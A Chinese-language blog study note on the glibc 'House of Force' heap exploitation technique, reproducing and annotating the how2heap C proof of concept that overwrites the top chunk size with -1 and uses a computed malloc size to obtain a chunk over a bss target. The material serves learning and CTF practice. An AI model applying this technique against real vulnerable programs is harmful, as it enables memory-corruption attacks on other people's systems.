[PWN]house of force学习笔记

概述:

这个手法主要是利用了topchunk重定向时发生的一点疏漏,通过控制topchunk的重定向从而使其指向目标区域,进而得到一个任意地址的chunk

这里我先指出这个漏洞主要目标:(2.23版本源码3793处)

这里可以看到这个地方是用chunk_at_offset这个函数对av->top也就是top chunk进行了一下重定位的,这是因为每次从top chunk分割出chunk之后top自然要抬高一些以分割新的chunk

比如这里:

这里一开始是ca10,分配了0x70的chunk后抬高了0x70定位到了ca80

force利用的也是这点,这个手法的思路是利用这个重定向分配比较特殊的size使top抬高到某个位置,所以就需要题目中能够自由控制分配size的大小

版本:

2.29之前,2.29开始在进入重定向前面会对size进行检测,这个手法基本上就失效了

操作(2.23例):

how2heap例子:

C
/*

This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )

Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04

*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "House of Force的想法是覆盖顶部块,并让malloc返回任意值.\n");
fprintf(stderr, "最上面的区块是一个特殊的区块。是记忆中的最后一个"
"并且是当malloc向操作系统请求更多空间时将调整大小的块\n");

fprintf(stderr, "\n最后,我们将使用它来覆盖位于 %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);



fprintf(stderr, "\n让我们分配第一块,从空域中腾出空间.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

fprintf(stderr, "\n现在堆由两个块组成:我们分配的块和顶部块/野内存.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "我们分配的区块的实际大小(对齐和所有jazz)是 %ld.\n", real_size + sizeof(long)*2);

fprintf(stderr, "\n现在,让我们模拟一个可以覆盖Top Chunk的头的漏洞\n");

//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

fprintf(stderr, "\n用一个大值覆盖顶部块大小,这样我们就可以确保malloc永远不会调用mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------

fprintf(stderr, "\n现在这片荒野的面积是巨大的。我们可以在没有malloc()调用mmap的情况下分配任何内容.\n"
"接下来,我们将分配一个区块,该区块将使我们与所需的区域(带有一个整数\n"
"溢出), 然后能够在所需区域上分配块.\n");

/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\n我们要写入的值在%p,而顶部块在%p处,因此考虑到标头大小,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "正如预期的那样,新指针与旧的顶部块位于同一位置: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\n现在,我们覆盖的下一个区块将指向我们的目标缓冲区.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");

fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);

assert(ctr_chunk == bss_var);


// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

实际过程如下:

C
char bss_var[] = "This is a string that we want to overwrite.";//篡改目标
intptr_t *p1 = malloc(256);//heap初始化
int real_size = malloc_usable_size(p1);//取得heap的size
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));//计算出top地址
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;//篡改top的size
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
void *new_ptr = malloc(evil_size);//计算出top与目标区域的距离,并分配这个距离大小的chunk让top重定向过去
void* ctr_chunk = malloc(100);//再次分配得到想要的chunk
fprintf(stderr, "... old string: %s\n", bss_var);
strcpy(ctr_chunk, "YEAH!!!");//利用得到的chunk篡改字符串
fprintf(stderr, "... new string: %s\n", bss_var);

这个例子利用house of force得到了一块位于bss段的chunk,然后修改了这里的一个字符串常量

为了避免分配超大size的chunk时采用mmap分配,所以要先对top chunk进行一些处理(篡改size)

利用函数取得p1的实际size

(char *)p1 + real_size - sizeof(long)利用这个算式得出top chunk的地址

然后将top的size也就是ptr_top+8篡改为-1

这里会发现是mov进去的0xffff...,因为-1在内存里就长这样,而这里利用的也就是这点,top的size用的时候是转换成无符号型进行比较的,放一个-1就会整数溢出为超大整数

现在top chunk的size变得超大,我们可以从top chunk上分割任意尺寸的chunk了

算式:(unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top

其实蛮直观的,通过分配重定向是呈现为地址抬高的,所以目标减去top就好了,至于多出来的那个sizeof(long)*4,大概是跟header的问题有关系

可以看到接下来的这个malloc的size参数就是一个很大的数了

这时heap可以看到top chunk直接被干到bss段上来了

这时再去分配chunk就会从bss段上分割空间出来了

posted @ 2024-07-18 19:03  ink777  阅读(35)  评论(0)    收藏  举报